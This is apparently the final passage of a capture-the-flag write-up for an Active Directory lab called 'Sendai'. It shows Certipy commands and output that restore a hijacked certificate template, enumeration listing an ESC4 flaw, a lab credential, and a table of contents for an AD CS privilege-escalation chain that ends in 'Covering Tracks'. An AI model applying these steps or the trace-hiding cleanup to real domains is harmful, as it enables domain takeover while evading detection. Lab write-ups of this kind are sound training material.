[*]     nTSecurityDescriptor: b'\x01\x00\x04\x9ch\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x04\x00T\x01\x08\x00\x00\x00\x05\x008\x000\x01\x00\x00\x01\x00\x00\x00h\xc9\x10\x0e\xfbx\xd2\x11\x90\xd4\x00\xc0Oy\xdcU\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+\x00\x02\x00\x00\x05\x008\x000\x01\x00\x00\x01\x00\x00\x00h\xc9\x10\x0e\xfbx\xd2\x11\x90\xd4\x00\xc0Oy\xdcU\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+\x03\x02\x00\x00\x05\x008\x000\x01\x00\x00\x01\x00\x00\x00h\xc9\x10\x0e\xfbx\xd2\x11\x90\xd4\x00\xc0Oy\xdcU\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+\x07\x02\x00\x00\x00\x00$\x00\xff\x00\x0f\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+\x00\x02\x00\x00\x00\x00$\x00\xff\x00\x0f\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+\x07\x02\x00\x00\x00\x00$\x00\xff\x00\x0f\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+\xf4\x01\x00\x00\x00\x00$\x00\xff\x01\x0f\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+h\x04\x00\x00\x00\x00\x14\x00\x94\x00\x02\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00f\xae\xee\xb7\x97Z\x08"\xe4 \xea+\xf4\x01\x00\x00'
28
[*]     flags: 131680
29
[*]     pKIDefaultKeySpec: 1
30
[*]     pKIKeyUsage: b'\xa0\x00'
31
[*]     pKIMaxIssuingDepth: 0
32
[*]     pKICriticalExtensions: ['2.5.29.15']
33
[*]     pKIExpirationPeriod: b'\x00\x00]\xd2,\xf6\x8f\xff'
34
[*]     pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.1', '1.3.6.1.5.5.7.3.2']
35
[*]     pKIDefaultCSPs: ['1,Microsoft RSA SChannel Cryptographic Provider']
36
[*]     msPKI-Enrollment-Flag: 32
37
[*]     msPKI-Private-Key-Flag: 16842752
38
[*]     msPKI-Certificate-Name-Flag: 134217728
39
[*]     msPKI-Minimal-Key-Size: 4096
40
[*]     msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.1', '1.3.6.1.5.5.7.3.2']
41
Are you sure you want to apply these changes to 'SendaiComputer'? (y/N): y
42
[*] Successfully updated 'SendaiComputer'

Verification of Template Restoration#

A final verification confirmed that the certificate template was restored to its original secure configuration, with the ESC1 vulnerability no longer present:

1
└─$ certipy-ad find -u "clifford.davey" -p "RFmoB2WplgE_3p"  -dc-ip 10.129.140.152 -dc-host dc.sendai.vl  -ns 10.129.140.152 -enabled -stdout -vulnerable
2
Certipy v5.0.3 - by Oliver Lyak (ly4k)
3

4
[*] Finding certificate templates
5
[*] Found 34 certificate templates
6
[*] Finding certificate authorities
7
[*] Found 1 certificate authority
8
[*] Found 12 enabled certificate templates
9
[*] Finding issuance policies
10
[*] Found 16 issuance policies
11
[*] Found 0 OIDs linked to templates
12
[*] Retrieving CA configuration for 'sendai-DC-CA' via RRP
13
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
14
[*] Successfully retrieved CA configuration for 'sendai-DC-CA'
15
[*] Checking web enrollment for CA 'sendai-DC-CA' @ 'dc.sendai.vl'
16
[*] Enumeration output:
17
Certificate Authorities
18
  0
19
    CA Name                             : sendai-DC-CA
20
    DNS Name                            : dc.sendai.vl
21
    Certificate Subject                 : CN=sendai-DC-CA, DC=sendai, DC=vl
22
    Certificate Serial Number           : 326E51327366FC954831ECD5C04423BE
23
    Certificate Validity Start          : 2023-07-11 09:19:29+00:00
24
    Certificate Validity End            : 2123-07-11 09:29:29+00:00
25
    Web Enrollment
26
      HTTP
27
        Enabled                         : False
28
      HTTPS
29
        Enabled                         : False
30
    User Specified SAN                  : Disabled
31
    Request Disposition                 : Issue
32
    Enforce Encryption for Requests     : Enabled
33
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
34
    Permissions
35
      Owner                             : SENDAI.VL\Administrators
36
      Access Rights
37
        ManageCa                        : SENDAI.VL\Administrators
38
                                          SENDAI.VL\Domain Admins
39
                                          SENDAI.VL\Enterprise Admins
40
        ManageCertificates              : SENDAI.VL\Administrators
41
                                          SENDAI.VL\Domain Admins
42
                                          SENDAI.VL\Enterprise Admins
43
        Enroll                          : SENDAI.VL\Authenticated Users
44
Certificate Templates
45
  0
46
    Template Name                       : SendaiComputer
47
    Display Name                        : SendaiComputer
48
    Certificate Authorities             : sendai-DC-CA
49
    Enabled                             : True
50
    Client Authentication               : True
51
    Enrollment Agent                    : False
52
    Any Purpose                         : False
53
    Enrollee Supplies Subject           : False
54
    Certificate Name Flag               : SubjectAltRequireDns
55
    Enrollment Flag                     : AutoEnrollment
56
    Extended Key Usage                  : Server Authentication
57
                                          Client Authentication
58
    Requires Manager Approval           : False
59
    Requires Key Archival               : False
60
    Authorized Signatures Required      : 0
61
    Schema Version                      : 2
62
    Validity Period                     : 100 years
63
    Renewal Period                      : 6 weeks
64
    Minimum RSA Key Length              : 4096
65
    Template Created                    : 2023-07-11T12:46:12+00:00
66
    Template Last Modified              : 2025-09-17T22:42:07+00:00
67
    Permissions
68
      Enrollment Permissions
69
        Enrollment Rights               : SENDAI.VL\Domain Admins
70
                                          SENDAI.VL\Domain Computers
71
                                          SENDAI.VL\Enterprise Admins
72
      Object Control Permissions
73
        Owner                           : SENDAI.VL\Administrator
74
        Full Control Principals         : SENDAI.VL\Domain Admins
75
                                          SENDAI.VL\Enterprise Admins
76
                                          SENDAI.VL\ca-operators
77
        Write Owner Principals          : SENDAI.VL\Domain Admins
78
                                          SENDAI.VL\Enterprise Admins
79
                                          SENDAI.VL\ca-operators
80
        Write Dacl Principals           : SENDAI.VL\Domain Admins
81
                                          SENDAI.VL\Enterprise Admins
82
                                          SENDAI.VL\ca-operators
83
        Write Property Enroll           : SENDAI.VL\Domain Admins
84
                                          SENDAI.VL\Domain Computers
85
                                          SENDAI.VL\Enterprise Admins
86
    [+] User Enrollable Principals      : SENDAI.VL\ca-operators
87
                                          SENDAI.VL\Domain Computers
88
    [+] User ACL Principals             : SENDAI.VL\ca-operators
89
    [!] Vulnerabilities
90
      ESC4                              : User has dangerous permissions.

The template had been successfully restored to its original state, showing only the ESC4 vulnerability (which required the CA-OPERATORS group membership to exploit). This completed the attack chain while minimizing forensic evidence of the compromise.

Initial access#

Nmap Scan#

Updating Hosts File#

SMB Enumeration with Guest Access#

Exploring the Company Share#

Analyzing the Security Incident Report#

Domain User Enumeration#

Testing for Weak Password Policies#

Password Reset and Initial Access#

Active Directory Analysis with BloodHound#

Exploiting Group Membership Control#

Post-Exploit Enumeration and Privilege Escalation#

Process and Service Enumeration#

Analyzing Certificate Authority Permissions#

Certificate Template Vulnerability Assessment#

Template Hijacking Attack#

Verifying Template Modification#

Administrator Certificate Request#

Extracting Administrator Credentials#

Achieving Domain Administrator Access#

Covering Tracks#

Verification of Template Restoration#